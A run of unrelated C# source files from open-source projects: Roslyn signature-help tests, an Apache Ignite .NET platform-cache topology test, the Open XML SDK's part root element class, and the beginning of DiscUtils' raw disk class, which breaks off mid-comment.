TestAsync(markup, expectedOrderedItems); } [WorkItem(768697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768697")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InstanceAndStaticMethodsShown5() { var markup = @" class C { void M() { Foo x; x.Bar($$ } } class x { } class Foo { public static void Bar(int x) { } public static void Bar(string s) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); await TestAsync(markup, expectedOrderedItems); } [WorkItem(1067933, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1067933")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task InvokedWithNoToken() { var markup = @" // foo($$"; await TestAsync(markup); } [Fact, Trait(Traits.Feature, Traits.Features.Completion)] public async Task MethodOverloadDifferencesIgnored() { var markup = @"<Workspace> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj1"" PreprocessorSymbols=""ONE""> <Document FilePath=""SourceDocument""><![CDATA[ class C { #if ONE void Do(int x){} #endif #if TWO void Do(string x){} #endif void Shared() { this.Do($$ } }]]></Document> </Project> <Project Language=""C#"" CommonReferences=""true"" AssemblyName=""Proj2"" PreprocessorSymbols=""TWO""> <Document IsLinkFile=""true"" LinkAssemblyName=""Proj1"" LinkFilePath=""SourceDocument""/> </Project> </Workspace>"; var expectedDescription = new SignatureHelpTestItem($"void C.Do(int x)", currentParameterIndex: 0); await VerifyItemWithReferenceWorkerAsync(markup, new[] { expectedDescription }, false); } [WorkItem(699, "https://github.com/dotnet/roslyn/issues/699")] [WorkItem(1068424, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1068424")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestGenericParameters1() { var markup = @" class C { void M() { Foo(""""$$); } void Foo<T>(T a) { } void Foo<T, U>(T a, U b) { } } "; var expectedOrderedItems = new List<SignatureHelpTestItem>() { new SignatureHelpTestItem("void C.Foo<string>(string a)", string.Empty, string.Empty, currentParameterIndex: 0), new SignatureHelpTestItem("void C.Foo<T, U>(T a, U b)", string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(699, "https://github.com/dotnet/roslyn/issues/699")] [WorkItem(1068424, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1068424")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestGenericParameters2() { var markup = @" class C { void M() { Foo("""", $$); } void Foo<T>(T a) { } void Foo<T, U>(T a, U b) { } } "; var expectedOrderedItems = new List<SignatureHelpTestItem>() { new SignatureHelpTestItem("void C.Foo<T>(T a)", string.Empty), new SignatureHelpTestItem("void C.Foo<T, U>(T a, U b)", string.Empty, string.Empty, currentParameterIndex: 1) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(4144, "https://github.com/dotnet/roslyn/issues/4144")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestSigHelpIsVisibleOnInaccessibleItem() { var markup = @" using System.Collections.Generic; class A { List<int> args; } class B : A { void M() { args.Add($$ } } "; await TestAsync(markup, new[] { new SignatureHelpTestItem("void List<int>.Add(int item)") }); } } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // ReSharper disable AccessToModifiedClosure namespace Apache.Ignite.Core.Tests.Cache.Platform { using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading; using Apache.Ignite.Core.Cache; using Apache.Ignite.Core.Cache.Configuration; using Apache.Ignite.Core.Communication.Tcp; using Apache.Ignite.Core.Lifecycle; using NUnit.Framework; /// <summary> /// Tests platform cache behavior when cluster topology changes. /// </summary> public class PlatformCacheTopologyChangeTest { /** */ private const string CacheName = "c"; /** Key that is primary on node3 */ private const int Key3 = 6; /** */ private const int MaxNodes = 10; /** */ private IIgnite[] _ignite; /** */ private ICache<int, Foo>[] _cache; /// <summary> /// Tears down the test. /// </summary> [TearDown] public void TearDown() { Ignition.StopAll(true); } /// <summary> /// Tests that platform cache is cleared for the key when primary node leaves. /// </summary> [Test] public void TestPrimaryNodeLeaveClearsPlatformCache() { InitNodes(3); var clientCache = InitClientAndCache(); _cache[0][Key3] = new Foo(Key3); Assert.AreEqual(Key3, _cache[0][Key3].Bar); Assert.AreEqual(Key3, _cache[1][Key3].Bar); Assert.AreEqual(Key3, clientCache[Key3].Bar); Assert.AreSame(_cache[0].Get(Key3), _cache[0].Get(Key3)); Assert.AreSame(_cache[1].Get(Key3), _cache[1].Get(Key3)); // Stop primary node for Key3. _ignite[2].Dispose(); Assert.IsTrue(_ignite[0].WaitTopology(3)); // Check that key is not stuck in platform cache. TestUtils.WaitForTrueCondition(() => !_cache[0].ContainsKey(Key3)); Assert.Throws<KeyNotFoundException>(() => _cache[0].Get(Key3)); Assert.Throws<KeyNotFoundException>(() => _cache[1].Get(Key3)); Assert.Throws<KeyNotFoundException>(() => clientCache.Get(Key3)); // Check that updates for that key work on all nodes. _cache[0][Key3] = new Foo(1); Assert.AreEqual(1, _cache[0][Key3].Bar); Assert.AreEqual(1, _cache[1][Key3].Bar); Assert.AreEqual(1, clientCache[Key3].Bar); Assert.AreSame(_cache[0][Key3], _cache[0][Key3]); Assert.AreSame(_cache[1][Key3], _cache[1][Key3]); Assert.AreSame(clientCache[Key3], clientCache[Key3]); _cache[1][Key3] = new Foo(2); TestUtils.WaitForTrueCondition(() => _cache[0][Key3].Bar == 2, 500); Assert.AreEqual(2, _cache[0][Key3].Bar); Assert.AreEqual(2, _cache[1][Key3].Bar); TestUtils.WaitForTrueCondition(() => clientCache[Key3].Bar == 2); Assert.AreSame(_cache[0][Key3], _cache[0][Key3]); Assert.AreSame(_cache[1][Key3], _cache[1][Key3]); Assert.AreSame(clientCache[Key3], clientCache[Key3]); } /// <summary> /// Tests that platform cache works correctly after primary node changes for a given key. /// GridNearCacheEntry -> GridDhtCacheEntry. /// </summary> [Test] public void TestPrimaryNodeChangeClearsPlatformCacheDataOnServer() { InitNodes(2); _cache[0][Key3] = new Foo(-1); for (var i = 0; i < 2; i++) { TestUtils.WaitForTrueCondition(() => _cache[i].ContainsKey(Key3)); } // New node enters and becomes primary for the key. InitNode(2); // GridCacheNearEntry does not yet exist on old primary node, so platform cache data is removed on .NET side. Foo unused; Assert.IsFalse(_cache[0].TryLocalPeek(Key3, out unused, CachePeekMode.Platform)); Assert.IsFalse(_cache[1].TryLocalPeek(Key3, out unused, CachePeekMode.Platform)); // Check value on the new node: it should be already in platform cache, because key is primary. Assert.AreEqual(-1, _cache[2].LocalPeek(Key3, CachePeekMode.Platform).Bar); Assert.AreEqual(-1, _cache[2][Key3].Bar); Assert.AreSame(_cache[2][Key3], _cache[2][Key3]); // Check that updates are propagated to all server nodes. _cache[2][Key3] = new Foo(3); for (var i = 0; i < 3; i++) { TestUtils.WaitForTrueCondition(() => _cache[i][Key3].Bar == 3); Assert.AreSame(_cache[i][Key3], _cache[i][Key3]); } } /// <summary> /// Tests that platform cache works correctly on client node after primary node changes for a given key. /// </summary> [Test] public void TestPrimaryNodeChangeClearsPlatformCacheDataOnClient( [Values(PlatformCheckMode.Entries, PlatformCheckMode.Peek, PlatformCheckMode.Size, PlatformCheckMode.TryPeek)] PlatformCheckMode checkMode) { InitNodes(2); var clientCache = InitClientAndCache(); _cache[0][Key3] = new Foo(-1); var clientInstance = clientCache[Key3]; Assert.AreEqual(-1, clientInstance.Bar); // New node enters and becomes primary for the key. InitNode(2); // Client node cache is cleared. // Check with different methods: important because every method calls entry validation separately // (covers all PlatformCache.IsValid calls). switch (checkMode) { case PlatformCheckMode.Peek: Assert.Throws<KeyNotFoundException>(() => clientCache.LocalPeek(Key3, CachePeekMode.Platform)); break; case PlatformCheckMode.TryPeek: Foo _; Assert.IsFalse(clientCache.TryLocalPeek(Key3, out _, CachePeekMode.Platform)); break; case PlatformCheckMode.Size: Assert.AreEqual(0, clientCache.GetLocalSize(CachePeekMode.Platform)); break; case PlatformCheckMode.Entries: Assert.AreEqual(0, clientCache.GetLocalEntries(CachePeekMode.Platform).Count()); break; default: throw new ArgumentOutOfRangeException(); } // Updates are propagated to client platform cache. _cache[2][Key3] = new Foo(3); TestUtils.WaitForTrueCondition(() => clientCache[Key3].Bar == 3); Foo foo; Assert.IsTrue(clientCache.TryLocalPeek(Key3, out foo, CachePeekMode.Platform)); Assert.AreNotSame(clientInstance, foo); Assert.AreEqual(3, foo.Bar); } /// <summary> /// Tests that when new server node joins, platform cache data is retained for all keys /// that are NOT moved to a new server. /// </summary> [Test] public void TestServerNodeJoinDoesNotAffectNonPrimaryKeysInPlatformCache() { var key = 0; InitNodes(2); var clientCache = InitClientAndCache(); var serverCache = _cache[0]; serverCache[key] = new Foo(-1); Assert.AreEqual(-1, clientCache[key].Bar); var clientInstance = clientCache[key]; var serverInstance = serverCache[key]; // New node enters, but key stays on the same primary node. InitNode(2); Assert.AreSame(clientInstance, clientCache[key]); Assert.AreSame(serverInstance, serverCache[key]); Assert.AreEqual(-1, clientInstance.Bar); Assert.AreEqual(-1, serverInstance.Bar); } /// <summary> /// Tests that client node entering topology does not cause any platform caches invalidation. /// </summary> [Test] public void TestClientNodeJoinOrLeaveDoesNotAffectPlatformCacheDataOnOtherNodes() { InitNodes(2); _cache[2] = InitClientAndCache(); TestUtils.WaitForTrueCondition(() => TestUtils.GetPrimaryKey(_ignite[1], CacheName) == 1, 3000); Action<Action<ICache<int, Foo>, int>> forEachCacheAndKey = act => { for (var gridIdx = 0; gridIdx < 3; gridIdx++) { var cache = _cache[gridIdx]; for (var key = 0; key < 100; key++) { act(cache, key); } } }; Action<int> putData = offset => forEachCacheAndKey((cache, key) => cache[key] = new Foo(key + offset)); Action<int> checkPlatformData = offset => forEachCacheAndKey((cache, key) => Assert.AreEqual(key + offset, cache.LocalPeek(key, CachePeekMode.Platform).Bar)); // Put data and verify platform cache. putData(0); checkPlatformData(0); // Start new client node, check platform data, stop client node, check platform data. using (InitClient()) { checkPlatformData(0); putData(1); checkPlatformData(1); } checkPlatformData(1); putData(2); checkPlatformData(2); Assert.AreEqual(3, _cache[0][1].Bar); } /// <summary> /// Test multiple topology changes. /// </summary> [Test] public void TestContinuousTopologyChangeMaintainsCorrectPlatformCacheData([Values(0, 1, 2)] int backups) { // Start 5 servers and 1 client. // Server 0 and client node always run // Other servers start and stop periodically. InitNodes(5, backups: backups); var clientCache = InitClientAndCache(); var serverCache = _cache[0]; var rnd = new Random(); var val = 1; var key = 1; var timeout = 5000; serverCache[key] = new Foo(val); var start = DateTime.Now; while (DateTime.Now - start < TimeSpan.FromSeconds(30)) { // Change topology randomly. var idx = rnd.Next(1, 5); Console.WriteLine(">>> Changing topology: " + idx); if (_ignite[idx] == null) { InitNode(idx, waitForPrimary: false); } else { StopNode(idx); } var dataLost = serverCache.GetSize(CachePeekMode.Primary | CachePeekMode.Backup) == 0; var status = string.Format("Node {0}: {1}, data lost: {2}, current val: {3}", _ignite[idx] == null ? "stopped" : "started", idx, dataLost, val); Console.WriteLine(">>> " + status); // Verify data. if (dataLost) { TestUtils.WaitForTrueCondition(() => !serverCache.ContainsKey(key), timeout, status); TestUtils.WaitForTrueCondition(() => !clientCache.ContainsKey(key), timeout, status); } else { Assert.AreEqual(val, serverCache[key].Bar, status); Assert.AreEqual(val, clientCache[key].Bar, status); } // Update data and verify. val++; (val % 2 == 0 ? serverCache : clientCache)[key] = new Foo(val); TestUtils.WaitForTrueCondition(() => val == serverCache[key].Bar, timeout, status); TestUtils.WaitForTrueCondition(() => val == clientCache[key].Bar, timeout, status); } } /// <summary> /// Tests that client reconnect to a restarted cluster stops platform cache. /// </summary> [Test] public void TestClientNodeReconnectWithClusterRestartStopsPlatformCache() { InitNodes(1); var clientCache = InitClientAndCache(); var client = Ignition.GetAll().Single(c => c.GetConfiguration().ClientMode); var keys = Enumerable.Range(1, 100).ToList(); keys.ForEach(k => clientCache[k] = new Foo(k)); Assert.AreEqual(keys.Count, clientCache.GetLocalSize(CachePeekMode.Platform)); Assert.IsNotNull(clientCache.GetConfiguration().NearConfiguration); // Stop the only server node, client goes into disconnected mode. var evt = new ManualResetEventSlim(false); client.ClientDisconnected += (sender, args) => evt.Set(); StopNode(0); Assert.IsTrue(evt.Wait(TimeSpan.FromSeconds(10)), "ClientDisconnected event should be fired"); var reconnectTask = client.GetCluster().ClientReconnectTask; // Start server again, client reconnects. InitNodes(1); Assert.IsTrue(reconnectTask.Wait(TimeSpan.FromSeconds(10))); // Platform cache is empty. Assert.AreEqual(0, clientCache.GetLocalSize(CachePeekMode.Platform)); Assert.IsEmpty(clientCache.GetLocalEntries(CachePeekMode.Platform)); Assert.Throws<KeyNotFoundException>(() => clientCache.LocalPeek(1, CachePeekMode.Platform)); // Cache still works for new entries, platform cache is being bypassed. var serverCache = _cache[0]; serverCache[1] = new Foo(11); Assert.AreEqual(11, clientCache[1].Bar); serverCache[1] = new Foo(22); var foo = clientCache[1]; Assert.AreEqual(22, foo.Bar); Assert.AreNotSame(foo, clientCache[1]); // This is a full cluster restart, so client platform cache is stopped. Assert.IsNull(clientCache.GetConfiguration().NearConfiguration); var ex = Assert.Throws<CacheException>(() => client.GetOrCreateNearCache<int, Foo>(clientCache.Name, new NearCacheConfiguration())); StringAssert.Contains("cache with the same name without near cache is already started", ex.Message); } /// <summary> /// Tests client reconnect to the same cluster (no cluster restart). /// </summary> [Test] public void TestClientNodeReconnectWithoutClusterRestartKeepsPlatformCache() { var cfg = new IgniteConfiguration(TestUtils.GetTestConfiguration()) { CommunicationSpi = new TcpCommunicationSpi {IdleConnectionTimeout = TimeSpan.FromSeconds(2)}, FailureDetectionTimeout = TimeSpan.FromSeconds(2), ClientFailureDetectionTimeout = TimeSpan.FromSeconds(2), IgniteInstanceName = "srv" }; var server = Ignition.Start(cfg); var serverCache = server.CreateCache<int, Foo>(new CacheConfiguration(CacheName) {PlatformCacheConfiguration = new PlatformCacheConfiguration()}); var clientCfg = new IgniteConfiguration(cfg) { ClientMode = true, IgniteInstanceName = "client" }; var client = Ignition.Start(clientCfg); var clientCache = client.GetOrCreateNearCache<int, Foo>(CacheName, new NearCacheConfiguration()); clientCache[1] = new Foo(2); Assert.AreEqual(2, clientCache.LocalPeek(1, CachePeekMode.Platform).Bar); PerformClientReconnect(client); // Platform cache data is removed after disconnect. Assert.AreEqual(0, clientCache.GetLocalSize(CachePeekMode.Platform)); // Updates work as expected. Assert.AreEqual(2, clientCache[1].Bar); serverCache[1] = new Foo(33); TestUtils.WaitForTrueCondition(() => 33 == clientCache.LocalPeek(1, CachePeekMode.Platform).Bar); } /// <summary> /// Checks that platform cache performance is adequate after topology change. /// (Topology change causes additional entry validation). /// </summary> [Test] public void TestPlatformCacheTopologyVersionValidationPerformance() { InitNodes(1); var cache = InitClientAndCache(); cache[1] = new Foo(1); // Change topology by starting a new cache. _ignite[0].CreateCache<int, int>("x"); var foo = cache.Get(1); Assert.AreEqual(1, foo.Bar); // Warmup. for (var i = 0; i < 100; i++) { cache.Get(1); } const int count = 1000000; var sw = Stopwatch.StartNew(); for (var i = 0; i < count; i++) { var res = cache.Get(1); if (!ReferenceEquals(res, foo)) { Assert.Fail(); } } var elapsed = sw.Elapsed; Assert.Less(elapsed, TimeSpan.FromSeconds(5)); Console.WriteLine(">>> Retrieved {0} entries in {1}.", count, elapsed); } /// <summary> /// Inits a number of grids. /// </summary> private void InitNodes(int count, bool serverNear = true, int backups = 0) { Debug.Assert(count < MaxNodes); _ignite = new IIgnite[MaxNodes]; _cache = new ICache<int, Foo>[MaxNodes]; for (var i = 0; i < count; i++) { InitNode(i, serverNear, backups: backups); } } /// <summary> /// Inits a grid. /// </summary> private void InitNode(int i, bool serverNear = true, bool waitForPrimary = true, int backups = 0) { var cacheConfiguration = new CacheConfiguration(CacheName) { NearConfiguration = serverNear ? new NearCacheConfiguration() : null, PlatformCacheConfiguration = serverNear ? new PlatformCacheConfiguration() : null, Backups = backups }; _ignite[i] = Ignition.Start(TestUtils.GetTestConfiguration(name: "node" + i)); _cache[i] = _ignite[i].GetOrCreateCache<int, Foo>(cacheConfiguration); if (i == 2 && waitForPrimary) { // ReSharper disable once AccessToDisposedClosure TestUtils.WaitForTrueCondition(() => TestUtils.GetPrimaryKey(_ignite[2], CacheName) == Key3, 300000); } } /// <summary> /// Inits a client node and a near cache on it. /// </summary> private static ICache<int, Foo> InitClientAndCache() { var client = InitClient(); return client.CreateNearCache<int, Foo>(CacheName, new NearCacheConfiguration()); } /// <summary> /// Inits a client node. /// </summary> private static IIgnite InitClient() { var cfg = new IgniteConfiguration(TestUtils.GetTestConfiguration(name: "client" + Guid.NewGuid())) { ClientMode = true }; return Ignition.Start(cfg); } /// <summary> /// Stops node. /// </summary> private void StopNode(int idx) { _ignite[idx].Dispose(); _ignite[idx] = null; } private static void PerformClientReconnect(IIgnite client) { var disconnectedEvt = new ManualResetEventSlim(false); client.ClientDisconnected += (sender, args) => { disconnectedEvt.Set(); }; var reconnectedEvt = new ManualResetEventSlim(false); ClientReconnectEventArgs reconnectEventArgs = null; client.ClientReconnected += (sender, args) => { reconnectEventArgs = args; reconnectedEvt.Set(); }; var gridName = string.Format("%{0}%", client.Name); TestUtilsJni.SuspendThreads(gridName); Thread.Sleep(9000); TestUtilsJni.ResumeThreads(gridName); Assert.Catch(() => client.CreateCache<int, int>("_fail").Put(1, 1)); var disconnected = disconnectedEvt.Wait(TimeSpan.FromSeconds(3)); Assert.IsTrue(disconnected); Assert.Catch(() => client.CreateCache<int, int>("_fail").Put(1, 1)); var reconnected = reconnectedEvt.Wait(TimeSpan.FromSeconds(15)); Assert.IsTrue(reconnected); Assert.IsFalse(reconnectEventArgs.HasClusterRestarted); } /// <summary> /// Platform cache check modes: how we can verify platform cache contents in a test. /// </summary> public enum PlatformCheckMode { Peek, TryPeek, Size, Entries } } }
// Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections; using System.Collections.Generic; using System.Text; using System.IO; using System.Xml; using System.Diagnostics; using DocumentFormat.OpenXml.Packaging; using OpenXmlSdk; namespace DocumentFormat.OpenXml { /// <summary> /// Represents a base class for all root elements. /// </summary> [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix")] public abstract class OpenXmlPartRootElement : OpenXmlCompositeElement { [DebuggerBrowsable(DebuggerBrowsableState.Never)] private OpenXmlElementContext _elementContext; // private object _owner; private bool? _standaloneDeclaration = null; ///// <summary> ///// The OpenXmlPart which the DOM is loaded from. ///// </summary> //public OpenXmlPart OpenXmlPart //{ // get // { // return this.OpenXmlOwner.OwnerPart; // } //} /// <summary> /// Initializes a new instance of the OpenXmlPartRootElement class. /// </summary> protected OpenXmlPartRootElement() { this._elementContext = new OpenXmlElementContext(); } /// <summary> /// Initializes a new instance of the OpenXmlPartRootElement class using the supplied OpenXmlPart. /// </summary> /// <param name="openXmlPart">The OpenXmlPart class.</param> protected OpenXmlPartRootElement(OpenXmlPart openXmlPart) { if (openXmlPart == null) { throw new ArgumentNullException("openXmlPart"); } this._elementContext = new OpenXmlElementContext(); LoadFromPart(openXmlPart); } /// <summary> /// Initializes a new instance of the OpenXmlPartRootElement class using the supplied outer XML. /// </summary> /// <param name="outerXml">The outer XML of the element.</param> protected OpenXmlPartRootElement(string outerXml) : base(outerXml) { this._elementContext = new OpenXmlElementContext(); } /// <summary> /// Initializes a new instance of the OpenXmlPartRootElement class using the supplied list of child elements. /// </summary> /// <param name="childElements">All child elements.</param> protected OpenXmlPartRootElement(IEnumerable<OpenXmlElement> childElements) : base(childElements) { this._elementContext = new OpenXmlElementContext(); } /// <summary> /// Initializes a new instance of the OpenXmlPartRootElement class using the supplied array of child elements. /// </summary> /// <param name="childElements">All child elements</param> protected OpenXmlPartRootElement(params OpenXmlElement[] childElements) : base(childElements) { this._elementContext = new OpenXmlElementContext(); } /// <summary> /// Gets the OpenXmlEementContext. /// </summary> internal override OpenXmlElementContext RootElementContext { get { return this._elementContext; } } /// <summary> /// Load the DOM tree from the Open XML part. /// </summary> /// <param name="openXmlPart">The part this root element to be loaded from.</param> /// <exception cref="InvalidDataException">Thrown when the part contains an incorrect root element.</exception> internal void LoadFromPart(OpenXmlPart openXmlPart) { using (Stream partStream = openXmlPart.GetStream(FileMode.Open)) { this.LoadFromPart(openXmlPart, partStream); } } /// <summary> /// Load the DOM tree from the Open XML part. /// </summary> /// <param name="openXmlPart">The part this root element to be loaded from.</param> /// <param name="partStream">The stream of the part.</param> /// <returns> /// Returns true when the part stream is loaded successfully into this root element. /// Returns false when the part stream does not contain any xml element. /// </returns> /// <exception cref="InvalidDataException">Thrown when the part stream contains an incorrect root element.</exception> internal bool LoadFromPart(OpenXmlPart openXmlPart, Stream partStream) { Profiler.CommentMarkProfile(Profiler.MarkId.OpenXmlPartRootElement_LoadFromPart_In); if (partStream.Length < 4) { // The XmlReader.Read() method requires at least four bytes from the data stream in order to begin parsing. return false; } // set MaxCharactersInDocument to limit the part size on loading DOM. this.OpenXmlElementContext.XmlReaderSettings.MaxCharactersInDocument = openXmlPart.MaxCharactersInPart; this.OpenXmlElementContext.XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; // set true explicitly for security fix using (XmlReader xmlReader = XmlConvertingReaderFactory.Create(partStream, this.OpenXmlElementContext.XmlReaderSettings, openXmlPart.OpenXmlPackage.StrictTranslation)) { this.OpenXmlElementContext.MCSettings = openXmlPart.MCSettings; xmlReader.Read(); if (xmlReader.NodeType == XmlNodeType.XmlDeclaration) { string standaloneAttribute = xmlReader.GetAttribute("standalone"); if (standaloneAttribute != null) { this._standaloneDeclaration = standaloneAttribute.Equals("yes", StringComparison.OrdinalIgnoreCase); } } if (!xmlReader.EOF) { xmlReader.MoveToContent(); } if (xmlReader.EOF || XmlNodeType.Element != xmlReader.NodeType || !xmlReader.IsStartElement()) { //the stream does NOT contains any xml element. return false; } byte nsId; if (!NamespaceIdMap.TryGetNamespaceId(xmlReader.NamespaceURI, out nsId) || nsId != this.NamespaceId || xmlReader.LocalName != this.LocalName) { string elementQName = new XmlQualifiedName(xmlReader.LocalName, xmlReader.NamespaceURI).ToString(); string msg = String.Format(System.Globalization.CultureInfo.CurrentUICulture, ExceptionMessages.Fmt_PartRootIsInvalid, elementQName, this.XmlQualifiedName.ToString()); throw new InvalidDataException(msg); } // remove all children and clear all attributes this.OuterXml = string.Empty; var mcContextPushed = this.PushMcContext(xmlReader); this.Load(xmlReader, this.OpenXmlElementContext.LoadMode); if (mcContextPushed) { this.PopMcContext(); } } Profiler.CommentMarkProfile(Profiler.MarkId.OpenXmlPartRootElement_LoadFromPart_Out); return true; } internal void LoadFromPart(OpenXmlPart openXmlPart, OpenXmlLoadMode loadMode) { this.OpenXmlElementContext.LoadMode = loadMode; this.LoadFromPart(openXmlPart); } /// <summary> /// Save the DOM into the OpenXML part. /// </summary> internal void SaveToPart(OpenXmlPart openXmlPart) { if (openXmlPart == null) { throw new ArgumentNullException("openXmlPart"); } XmlWriterSettings settings = new XmlWriterSettings(); settings.CloseOutput = true; // default is UTF8, Indent=false, OmitXmlDeclaration=false, NewLineOnAttributes=false // settings.Indent = false; // settings.Encoding = Encoding.UTF8; // settings.OmitXmlDeclaration = false; // settings.NewLineOnAttributes = false; using (Stream partStream = openXmlPart.GetStream(FileMode.Create)) using (XmlWriter xmlWriter = XmlWriter.Create(partStream, settings)) { if (this._standaloneDeclaration != null) { xmlWriter.WriteStartDocument(this._standaloneDeclaration.Value); } this.WriteTo(xmlWriter); // fix bug #242463. // Do not call WriteEndDocument if this root element is not parsed. // In that case, the WriteTo() just call WriteRaw() with the raw xml, so no WriteStartElement() be called. // So, the XmlWriter still on document start state. Call WriteEndDocument() will cause exception. if (this.XmlParsed) { xmlWriter.WriteEndDocument(); } } } /// <summary> /// Saves the DOM tree to the specified stream. /// </summary> /// <param name="stream"> /// The stream to which to save the XML. /// </param> public void Save(Stream stream) { XmlWriterSettings settings = new XmlWriterSettings(); settings.CloseOutput = true; using (XmlWriter xmlWriter = XmlWriter.Create(stream, settings)) { if (this._standaloneDeclaration != null) { xmlWriter.WriteStartDocument(this._standaloneDeclaration.Value); } this.WriteTo(xmlWriter); // fix bug #242463. // Do not call WriteEndDocument if this root element is not parsed. // In that case, the WriteTo() just call WriteRaw() with the raw xml, so no WriteStartElement() be called. // So, the XmlWriter still on document start state. Call WriteEndDocument() will cause exception. if (this.XmlParsed) { xmlWriter.WriteEndDocument(); } } } /// <summary> /// Get / set the part that is associated with the DOM tree. /// It returns null when the DOM tree is not associated with a part. /// </summary> internal OpenXmlPart OpenXmlPart { get; set; } /// <summary> /// Saves the data in the DOM tree back to the part. This method can /// be called multiple times and each time it is called, the stream /// will be flushed. /// </summary> /// <remarks> /// Call this method explicitly to save the changes in the DOM tree. /// </remarks> /// <exception cref="InvalidOperationException">Thrown when the tree is not associated with a part.</exception> public void Save() { if (this.OpenXmlPart == null) { throw new InvalidOperationException(ExceptionMessages.CannotSaveDomTreeWithoutAssociatedPart); } this.SaveToPart(this.OpenXmlPart); } /// <summary> /// Reloads the part content into an Open XML DOM tree. This method can /// be called multiple times and each time it is called, the tree will /// be reloaded and previous changes on the tree are abandoned. /// </summary> /// <exception cref="InvalidOperationException">Thrown when the tree is not associated with a part.</exception> public void Reload() { if (this.OpenXmlPart == null) { throw new InvalidOperationException(ExceptionMessages.CannotReloadDomTreeWithoutAssociatedPart); } this.LoadFromPart(this.OpenXmlPart); } /// <summary> /// Saves the current node to the specified XmlWriter. /// </summary> /// <param name="xmlWriter"> /// The XmlWriter to which to save the current node. /// </param> public override void WriteTo(XmlWriter xmlWriter) { if (xmlWriter == null) { throw new ArgumentNullException("xmlWriter"); } if (this.XmlParsed) { //check the namespace mapping defined in this node first. because till now xmlWriter don't know the mapping defined in the current node. string prefix = LookupNamespaceLocal(this.NamespaceUri); //if not defined in the current node, try the xmlWriter if (this.Parent != null && string.IsNullOrEmpty(prefix)) { prefix = xmlWriter.LookupPrefix(this.NamespaceUri); } //if xmlWriter didn't find it, it means the node is constructed by user and is not in the tree yet //in this case, we use the predefined prefix if (string.IsNullOrEmpty(prefix)) { prefix = NamespaceIdMap.GetNamespacePrefix(this.NamespaceId); } xmlWriter.WriteStartElement(prefix, this.LocalName, this.NamespaceUri); // fix bug #225919, write out all namespace into to root WriteNamespaceAtributes(xmlWriter); this.WriteAttributesTo(xmlWriter); if (this.HasChildren || !string.IsNullOrEmpty(this.InnerText)) { this.WriteContentTo(xmlWriter); xmlWriter.WriteFullEndElement(); } else { xmlWriter.WriteEndElement(); } } else { xmlWriter.WriteRaw(this.RawOuterXml); } } private void WriteNamespaceAtributes(XmlWriter xmlWrite) { if (WriteAllNamespaceOnRoot) { Dictionary<string, string> namespaces = new Dictionary<string, string>(); foreach (OpenXmlElement element in this.Descendants()) { if (element.NamespaceDeclField != null) { foreach (var item in element.NamespaceDeclField) { if (!namespaces.ContainsKey(item.Key)) { namespaces.Add(item.Key, item.Value); } } } } foreach (var namespacePair in namespaces) { if (!String.IsNullOrEmpty(namespacePair.Key)) { if (NamespaceDeclField != null && string.IsNullOrEmpty(this.LookupPrefixLocal(namespacePair.Value)) && string.IsNullOrEmpty(this.LookupNamespaceLocal(namespacePair.Key))) { xmlWrite.WriteAttributeString(OpenXmlElementContext.xmlnsPrefix, namespacePair.Key, OpenXmlElementContext.xmlnsUri, namespacePair.Value); } } } } } /// <summary> /// If this property is true, then the Save method will try write all namespace declation on the root element. /// </summary> internal virtual bool WriteAllNamespaceOnRoot { get { return true; } } } }
// // Copyright (c) 2008-2011, Kenneth Bell // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. // namespace DiscUtils.Raw { using System; using System.Collections.Generic; using System.IO; /// <summary> /// Represents a raw disk image. /// </summary> /// <remarks>This disk format is simply an uncompressed capture of all blocks on a disk.</remarks> public sealed class Disk : VirtualDisk { private DiskImageFile _file; /// <summary> /// Initializes a new instance of the Disk class. /// </summary> /// <param name="stream">The stream to read.</param> /// <param name="ownsStream">Indicates if the new instance should control the lifetime of the stream.</param> public Disk(Stream stream, Ownership ownsStream) : this(stream, ownsStream, null) { } /// <summary> /// Initializes a new instance of the Disk class. /// </summary> /// <param name="stream">The stream to read.</param> /// <param name="ownsStream">Indicates 